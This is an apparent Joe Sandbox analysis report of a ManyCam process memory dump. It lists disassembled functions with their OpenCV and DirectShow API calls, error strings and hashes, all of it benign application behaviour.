Instruction ID: 0c2db78db8441f90a5655b608386306daf3177cd87543fca05d57ae7838a8fe2
Opcode Fuzzy Hash: 8320536623643fb9a82ccd93883c4b51503a044c0bfe6443a3796fe1dcf3ba29
Instruction Fuzzy Hash: F5024C70900208EFDB14EF95CC92BEEBBB5BF54304F10415EE5066B2D2DB786A45CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC0 Relevance: 30.1, APIs: 20, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 004032A0: cvReleaseImage.CXCORE099(004012A4,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 004032CA
Part of subcall function 004032A0: cvReleaseImage.CXCORE099(004012A8,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 004032DC
Part of subcall function 004032A0: cvReleaseImage.CXCORE099(004012AC,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 004032EA
Part of subcall function 004032A0: cvReleaseImage.CXCORE099(004012C0,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 00403302
Part of subcall function 004032A0: cvReleaseImage.CXCORE099(004012C4,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 00403314
Part of subcall function 004032A0: cvReleaseImage.CXCORE099(004012C8,00000100,004012A0,00000000,00402ECD,00000000,?,00401305,?,?,004012A0,?), ref: 00403326

cvReleaseMat.CXCORE099(00000118,?), ref: 00402ED9
cvReleaseMat.CXCORE099(00000114), ref: 00402EEB
cvReleaseMat.CXCORE099(0000011C), ref: 00402EFD
cvReleaseMat.CXCORE099(00000120), ref: 00402F0F
cvReleaseMat.CXCORE099(00000124), ref: 00402F21
cvReleaseMat.CXCORE099(00000128), ref: 00402F33
cvReleaseMat.CXCORE099(0000012C), ref: 00402F45
cvReleaseMat.CXCORE099(00000130), ref: 00402F57
cvReleaseMat.CXCORE099(00000134), ref: 00402F69
cvReleaseMat.CXCORE099(00000100), ref: 00402F77
cvReleaseMat.CXCORE099(00000104), ref: 00402F89
cvReleaseMat.CXCORE099(00000110), ref: 00402F9B
cvReleaseMat.CXCORE099(00000108), ref: 00402FAD
cvReleaseMat.CXCORE099(0000010C), ref: 00402FBF
cvReleaseMat.CXCORE099(00000138), ref: 00402FD1
cvReleaseMat.CXCORE099(0000013C), ref: 00402FE3
cvReleaseMat.CXCORE099(00000140), ref: 00402FF5
cvReleaseMat.CXCORE099(00000144), ref: 00403007
cvReleaseMat.CXCORE099(00000148), ref: 00403019
cvReleaseMat.CXCORE099(0000014C), ref: 0040302C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Release$Image
String ID:
API String ID: 1442443227-0
Opcode ID: 18739cc84c4e819f13137b706e7aec6c30c3c301381e9e13cdbf496b20ef20f3
Instruction ID: e9e9c9bdbcc23bd9ce4fc92c64f6ef92138ef717c9158f18fb2c09d524048864
Opcode Fuzzy Hash: 18739cc84c4e819f13137b706e7aec6c30c3c301381e9e13cdbf496b20ef20f3
Instruction Fuzzy Hash: 3A415AB1C01B11ABDA70DB60D94EB97B6EC7F01300F44493E914B929D0EB79F658CAA3

Uniqueness

Uniqueness Score: -1.00%

Function 004AF1A0 Relevance: 30.0, APIs: 2, Strings: 15, Instructions: 270comCOMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

CoCreateInstance.OLE32(0056F320,00000000,00000001,00571B10,00000000,?,00000000,?,?,74C45DB3), ref: 004AF229

Part of subcall function 004B76D0: fwprintf.MSVCR80 ref: 004B7764
Part of subcall function 004B76D0: fflush.MSVCR80 ref: 004B7774

CoCreateInstance.OLE32(0056F2E0,00000000,00000001,00571B40,00000000,00000000,00000000,?,?,74C45DB3), ref: 004AF297

Strings

Failed with hr = %X., xrefs: 004AF308
Failed with hr = %X., xrefs: 004AF37E
Getting IMediaFilter interface., xrefs: 004AF492
Creating cature graph builder., xrefs: 004AF26B
Failed with hr = %X., xrefs: 004AF46A
Getting IMediaControlInterface., xrefs: 004AF333
Failed with hr = %X., xrefs: 004AF3F4
Getting IMediaSeeking Interface., xrefs: 004AF3A9
Failed with hr = %X., xrefs: 004AF2AA
CGraphMgr::InitInternalInterfaces, xrefs: 004AF1C8
Failed with hr = %X., xrefs: 004AF4DD
Getting IMediaEventEx interface., xrefs: 004AF41F
Init cap graph builder., xrefs: 004AF2C1
Creating an instance of IGraphBuilder., xrefs: 004AF1FD
Failed with hr = %X., xrefs: 004AF23C

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CreateInstance$AllocatorDebugHeapclockfflushfwprintf
String ID: CGraphMgr::InitInternalInterfaces$Creating an instance of IGraphBuilder.$Creating cature graph builder.$Failed with hr = %X.$Failed with hr = %X.$Failed with hr = %X.$Failed with hr = %X.$Failed with hr = %X.$Failed with hr = %X.$Failed with hr = %X.$Getting IMediaControlInterface.$Getting IMediaEventEx interface.$Getting IMediaFilter interface.$Getting IMediaSeeking Interface.$Init cap graph builder.
API String ID: 3340919952-3253057602
Opcode ID: 9b086fe0cb3031e3bc22e440be552398c93d060f0653d1dd36aa5157d34c403a
Instruction ID: 91a63dad0f67e3e0232ba0b1807ee47d54ee56e4fdf06e0acade68bce617adf4
Opcode Fuzzy Hash: 9b086fe0cb3031e3bc22e440be552398c93d060f0653d1dd36aa5157d34c403a
Instruction Fuzzy Hash: 10A18270E402099BDB04EBD9DC62BBE77B0BF99719F10402EF80677282DB796905C769

Uniqueness

Uniqueness Score: -1.00%

Function 01728210 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 188memoryCOMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvSeqSlice,NULL storage pointer,.\cxdatastructs.cpp,0000073C), ref: 01728264

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvSliceLength.CXCORE099(?,?,?), ref: 01728288
cvCreateSeq.CXCORE099(?,?,?,?), ref: 017282C8
cvGetErrStatus.CXCORE099 ref: 017282D2
cvError.CXCORE099(000000FF,cvSeqSlice,Inner function failed.,.\cxdatastructs.cpp,00000749), ref: 017282F1
cvStartReadSeq.CXCORE099(?,?,00000000), ref: 0172830F
cvSetSeqReaderPos.CXCORE099(?,?,00000000,?,?,00000000), ref: 0172831C
cvMemStorageAlloc.CXCORE099(?,00000014), ref: 0172834F
cvError.CXCORE099(000000FB,cvSeqSlice,Invalid sequence header,.\cxdatastructs.cpp,00000736), ref: 01728416

Strings

cvSeqSlice, xrefs: 0172825D, 017282EA, 017283E4, 0172840F
Bad sequence slice, xrefs: 017283DF
Inner function failed., xrefs: 017282E5
NULL storage pointer, xrefs: 01728258
.\cxdatastructs.cpp, xrefs: 01728253, 017282E0, 017283DA, 01728405
Invalid sequence header, xrefs: 0172840A

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$AllocCreateLengthReadReaderSliceStartStorage
String ID: .\cxdatastructs.cpp$Bad sequence slice$Inner function failed.$Invalid sequence header$NULL storage pointer$cvSeqSlice
API String ID: 758960630-869226784
Opcode ID: a257ea81b7eb82a4fc576c9fa07f12a128cb355f885b94d38bff79f72baa0b23
Instruction ID: 092d3184d338ac28c7316f769b4a0349e5437b39882041af8119e18caa23fd4a
Opcode Fuzzy Hash: a257ea81b7eb82a4fc576c9fa07f12a128cb355f885b94d38bff79f72baa0b23
Instruction Fuzzy Hash: FF51E0B1A09311AFC700DF2ECC81A0BF7E4AFD5624F448A2DF55897312E372E9418B92

Uniqueness

Uniqueness Score: -1.00%

Function 004A8E90 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 328memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

_DebugHeapAllocator.LIBCPMTD ref: 004A8F0A

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 004164A0: FindFirstFileW.KERNEL32(00000000,00000104,000000D8,00000104,00000000), ref: 004164F5

wcscmp.MSVCR80 ref: 004A8F3A
wcscmp.MSVCR80 ref: 004A8F53
wcscmp.MSVCR80 ref: 004A8F80
_DebugHeapAllocator.LIBCPMTD ref: 004A92EC
_DebugHeapAllocator.LIBCPMTD ref: 004A9304
_DebugHeapAllocator.LIBCPMTD ref: 004A9324

Strings

InternalProperties, xrefs: 004A8F7B

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$wcscmp$FileFindFirst
String ID: InternalProperties
API String ID: 1222566788-1350816593
Opcode ID: c6da74deea4d9cd51fd66fbdb8e43503fd6c04aced2bb07cda00fcb46decaaae
Instruction ID: d461dac8b76a5e630202117bde1037354cd356562fc5738dbdf76f67a61ac83d
Opcode Fuzzy Hash: c6da74deea4d9cd51fd66fbdb8e43503fd6c04aced2bb07cda00fcb46decaaae
Instruction Fuzzy Hash: 30F13AB49001199FDB14DF54CC94BAEB7B5BF55304F1085DAEA0AA7381DB34AE88CF68

Uniqueness

Uniqueness Score: -1.00%

Function 017562A0 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 275COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,?,00000000), ref: 0175633F
cvGetErrStatus.CXCORE099 ref: 01756349
cvError.CXCORE099(000000FF,cvDotProduct,Inner function failed.,.\cxmatmul.cpp,00000CEE), ref: 01756368
cvError.CXCORE099(000000E8,cvDotProduct,coi is not supported,.\cxmatmul.cpp,00000CF1), ref: 01756398

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

Strings

.\cxmatmul.cpp, xrefs: 01756357, 01756387, 01756421, 01756528, 01756571, 017565BC
coi is not supported, xrefs: 0175638C
Inner function failed., xrefs: 0175635C
OpenCV function failed, xrefs: 01756576
cvDotProduct, xrefs: 01756361, 01756391, 0175642B, 01756532, 0175657B, 017565C6

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxmatmul.cpp$Inner function failed.$OpenCV function failed$coi is not supported$cvDotProduct
API String ID: 1596131371-878145941
Opcode ID: 2af3b0e8033609c956263ffa5bf19b86dbdc0153329f6f88499f86b92b68aec4
Instruction ID: 12b191f3173fa65282c885cb96d3a9849a852444312a35905c33c61222aa03c1
Opcode Fuzzy Hash: 2af3b0e8033609c956263ffa5bf19b86dbdc0153329f6f88499f86b92b68aec4
Instruction Fuzzy Hash: 4B9134B2604301ABD7149F5DEC6492AF7E1FB88724F900B6DFD8987249EBB1E5448781

Uniqueness

Uniqueness Score: -1.00%

Function 017840D0 Relevance: 28.3, APIs: 9, Strings: 7, Instructions: 260COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000FB,icvXMLWriteTag,An attempt to add element without a key to a map, or add element with key to sequence,.\cxpersistence.cpp,000008AE,00000000,?,00000000,-00000001,0178B0FB,00000000,00000000), ref: 01784133
cvError.CXCORE099(000000FB,icvXMLWriteTag,Closing tag should not include any attributes,.\cxpersistence.cpp,000008C4), ref: 017841AE
cvError.CXCORE099(000000FB,icvXMLWriteTag,A single _ is a reserved tag name,.\cxpersistence.cpp,000008BD,00000000,?,00000000,-00000001,0178B0FB,00000000,00000000), ref: 017841DF
isalpha.MSVCR80 ref: 017841FA
cvError.CXCORE099(000000FB,icvXMLWriteTag,Key should start with a letter or _,.\cxpersistence.cpp,000008C9,-00000001,0178B0FB,00000000,00000000), ref: 01784222

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

isalnum.MSVCR80 ref: 0178426B
memcpy.MSVCR80(?,00000003,-00000001), ref: 0178430E
memcpy.MSVCR80(?,00000000,-00000001,?,00000003,-00000001), ref: 01784329

Strings

Key should start with a letter or _, xrefs: 01784216
Invalid character in the key, xrefs: 0178436B
A single _ is a reserved tag name, xrefs: 017841D3
icvXMLWriteTag, xrefs: 0178412C, 017841A7, 017841D8, 0178421B, 01784370
An attempt to add element without a key to a map, or add element with key to sequence, xrefs: 01784127
Closing tag should not include any attributes, xrefs: 017841A2
.\cxpersistence.cpp, xrefs: 01784122, 0178419D, 017841CE, 01784211, 01784366

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$memcpy$Statusisalnumisalpha
String ID: .\cxpersistence.cpp$A single _ is a reserved tag name$An attempt to add element without a key to a map, or add element with key to sequence$Closing tag should not include any attributes$Invalid character in the key$Key should start with a letter or _$icvXMLWriteTag
API String ID: 687291174-4149322074
Opcode ID: f9b997d0700cedd0a877ba0ffd8f34404ca3b4aca51c3c75db28923005a44459
Instruction ID: d1e153bc73a380aeffa0ae1eddaafd9bd883350fb7bd5e9af55f87192528ab81
Opcode Fuzzy Hash: f9b997d0700cedd0a877ba0ffd8f34404ca3b4aca51c3c75db28923005a44459
Instruction Fuzzy Hash: F0819B71B883476BDB01EE2CEC84B56FBD0AB90224F08417CE9459B343E7B5D648C392

Uniqueness

Uniqueness Score: -1.00%

Function 004010A0 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 187COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000FB,cvCylCreateTrackerContext,Invalid frame size.,.\src\cyltracker.cpp,00000064), ref: 004012DF

Strings

Invalid method., xrefs: 004010EC
Invalid pyramid type., xrefs: 0040112A
Invalid frame size., xrefs: 004012D3
Insufficient memory., xrefs: 00401277
cvCylCreateTrackerContext, xrefs: 0040127C, 004012B2, 004012D8
Insufficient memory for initializing tracker, xrefs: 004012AD
.\src\cyltracker.cpp, xrefs: 004010E7, 00401108, 00401125, 00401272, 004012A8, 004012CE
Invalid model type., xrefs: 0040110D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\src\cyltracker.cpp$Insufficient memory for initializing tracker$Insufficient memory.$Invalid frame size.$Invalid method.$Invalid model type.$Invalid pyramid type.$cvCylCreateTrackerContext
API String ID: 2619118453-4185331338
Opcode ID: 159e2c39b6469685c728ac88f41f5128306c1347d163a9cc52779d86d74ae199
Instruction ID: 99194e5ea39f0bab6f8ac41c15566c549df518491d95b6df1d49c7cd51309a21
Opcode Fuzzy Hash: 159e2c39b6469685c728ac88f41f5128306c1347d163a9cc52779d86d74ae199
Instruction Fuzzy Hash: 6F51F5B6B4031157DB149E58AC82BA67790BB85710F0881BEFE0CBF3D2E6759904C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 0172A470 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 169COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099 ref: 0172A48D

Part of subcall function 016FE130: cvError.CXCORE099(000000E5,cvGetMat,NULL array pointer is passed,.\cxarray.cpp,00000ADB,?,?,?,?), ref: 016FE4BC

cvGetErrStatus.CXCORE099 ref: 0172A49B

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,cvPolyLine,Inner function failed.,.\cxdrawing.cpp,000007EC), ref: 0172A4BA

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(000000E8,cvPolyLine,Unsupported format,.\cxdrawing.cpp,000007F2), ref: 0172A503

Strings

cvPolyLine, xrefs: 0172A4B3, 0172A4FC, 0172A551, 0172A57F, 0172A5D3, 0172A651, 0172A67A
Inner function failed., xrefs: 0172A4AE, 0172A5CE
.\cxdrawing.cpp, xrefs: 0172A4A9, 0172A4F2, 0172A547, 0172A575, 0172A5C9, 0172A647, 0172A670
shift must be between 0 and 16, xrefs: 0172A64C
Unsupported format, xrefs: 0172A4F7

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$malloc
String ID: .\cxdrawing.cpp$Inner function failed.$Unsupported format$cvPolyLine$shift must be between 0 and 16
API String ID: 1345421445-3456789013
Opcode ID: 0962a62986faa76f672d94bfef678e54286b4f91f7ed0259485618f90d046dfe
Instruction ID: 4fd781c7c32c9cc9e1aed5a4c2538fa4d66272a6b5ba5c5a36e09c5b8ac4c7e4
Opcode Fuzzy Hash: 0962a62986faa76f672d94bfef678e54286b4f91f7ed0259485618f90d046dfe
Instruction Fuzzy Hash: 0941A0F674831177EA10A64DDC26FA7F350F7D0B20F84022CF95A573C6E6A1A6844297

Uniqueness

Uniqueness Score: -1.00%

Function 0172E120 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099 ref: 0172E13D

Part of subcall function 016FE130: cvError.CXCORE099(000000E5,cvGetMat,NULL array pointer is passed,.\cxarray.cpp,00000ADB,?,?,?,?), ref: 016FE4BC

cvGetErrStatus.CXCORE099 ref: 0172E147

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,cvEllipse,Inner function failed.,.\cxdrawing.cpp,00000753), ref: 0172E166

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(000000E8,cvEllipse,Unsupported format,.\cxdrawing.cpp,00000759), ref: 0172E1AB

Strings

cvEllipse, xrefs: 0172E15F, 0172E1A4, 0172E29D, 0172E2C3, 0172E2EC, 0172E314
Inner function failed., xrefs: 0172E15A, 0172E298
.\cxdrawing.cpp, xrefs: 0172E155, 0172E19A, 0172E293, 0172E2B9, 0172E2E2, 0172E30A
shift must be between 0 and 16, xrefs: 0172E2BE
Unsupported format, xrefs: 0172E19F

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$malloc
String ID: .\cxdrawing.cpp$Inner function failed.$Unsupported format$cvEllipse$shift must be between 0 and 16
API String ID: 1345421445-436934637
Opcode ID: 7e80cd40f912b48774966396d3d8d154269dad46967e77dd8e49ce278d211236
Instruction ID: 61ba24259efd11849dd2fdaf890e56061e01ce5ceaa676ec0efc37aa33081968
Opcode Fuzzy Hash: 7e80cd40f912b48774966396d3d8d154269dad46967e77dd8e49ce278d211236
Instruction Fuzzy Hash: A4419FF674C3007BEA006A49DC5AF9BF794EBD0B10F84062CF649662C6E6B1A5848763

Uniqueness

Uniqueness Score: -1.00%

Function 0178C180 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 156COMMON

Download Yara Rule

APIs

cvGetFileNodeByName.CXCORE099(?,?,sequences), ref: 0178C199

Part of subcall function 01782FC0: cvError.CXCORE099(000000E5,cvGetFileNodeByName,Null element name,.\cxpersistence.cpp,0000023E), ref: 0178300D

cvStartReadSeq.CXCORE099(?,?,00000000), ref: 0178C1D7
cvRead.CXCORE099(?,?,00000000), ref: 0178C1FA

Part of subcall function 017879F0: cvGetErrStatus.CXCORE099(?,?,?,?,?,?,00000000), ref: 01787A23
Part of subcall function 017879F0: cvError.CXCORE099(?,cvRead,Invalid pointer to file storage,.\cxpersistence.cpp,00001398,?,0178CD2D,00000000,?,00000000), ref: 01787A7B

cvGetErrStatus.CXCORE099 ref: 0178C204

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,icvReadSeqTree,Inner function failed.,.\cxpersistence.cpp,00001119), ref: 0178C2EB

Part of subcall function 01783A30: cvGetFileNodeByName.CXCORE099(?,?,?), ref: 01783A42

cvGetErrStatus.CXCORE099 ref: 0178C228
cvChangeSeqBlock.CXCORE099(?,00000001), ref: 0178C2A1
cvError.CXCORE099(FFFFFF2C,icvReadSeqTree,All the sequence tree nodes should contain "level" field,.\cxpersistence.cpp,0000111C), ref: 0178C316
cvError.CXCORE099(FFFFFF2C,icvReadSeqTree,opencv-sequence-tree instance should contain a field "sequences" that should be a sequence,.\cxpersistence.cpp,0000110E), ref: 0178C341

Strings

icvReadSeqTree, xrefs: 0178C2E4, 0178C30C, 0178C337
level, xrefs: 0178C217
All the sequence tree nodes should contain "level" field, xrefs: 0178C307
Inner function failed., xrefs: 0178C2DF
.\cxpersistence.cpp, xrefs: 0178C2DA, 0178C302, 0178C32D
opencv-sequence-tree instance should contain a field "sequences" that should be a sequence, xrefs: 0178C332
sequences, xrefs: 0178C18E

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$FileNameNodeRead$BlockChangeStartmalloc
String ID: .\cxpersistence.cpp$All the sequence tree nodes should contain "level" field$Inner function failed.$icvReadSeqTree$level$opencv-sequence-tree instance should contain a field "sequences" that should be a sequence$sequences
API String ID: 528128644-3956887381
Opcode ID: 15b91d628e3cf915d6459d687c9e9699a875b463787a3f8b910e7072b399b884
Instruction ID: a03e6640832e607277617c1ee7b29dcac35d870a6b7c7d39160f5ca7a3061e2e
Opcode Fuzzy Hash: 15b91d628e3cf915d6459d687c9e9699a875b463787a3f8b910e7072b399b884
Instruction Fuzzy Hash: C54118B1A883016BC611EF9DDC85E9BFBD4EBC4720F440A2DFA59D7285D370E5448BA2

Uniqueness

Uniqueness Score: -1.00%

Function 004735B0 Relevance: 26.6, APIs: 7, Strings: 8, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

Part of subcall function 00474150: _DebugHeapAllocator.LIBCPMTD ref: 00474184

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00473611

Part of subcall function 0040EDB0: _DebugHeapAllocator.LIBCPMTD ref: 0040EDE7

swscanf.MSVCR80 ref: 00473710
swscanf.MSVCR80 ref: 0047372B
swscanf.MSVCR80 ref: 00473746

Strings

Error parsing color field: one of color components is not specified, xrefs: 0047392B
Error parsing color field: one of color components is not specified, xrefs: 00473803
rgb(, xrefs: 0047378C
Error parsing color field: unexpected symbols '%s'., xrefs: 004739E1
Error parsing color field: wrong number of symbols after '#', xrefs: 00473689
Error parsing color field: one of color components is not specified, xrefs: 00473891
Unspecified error., xrefs: 004735EB
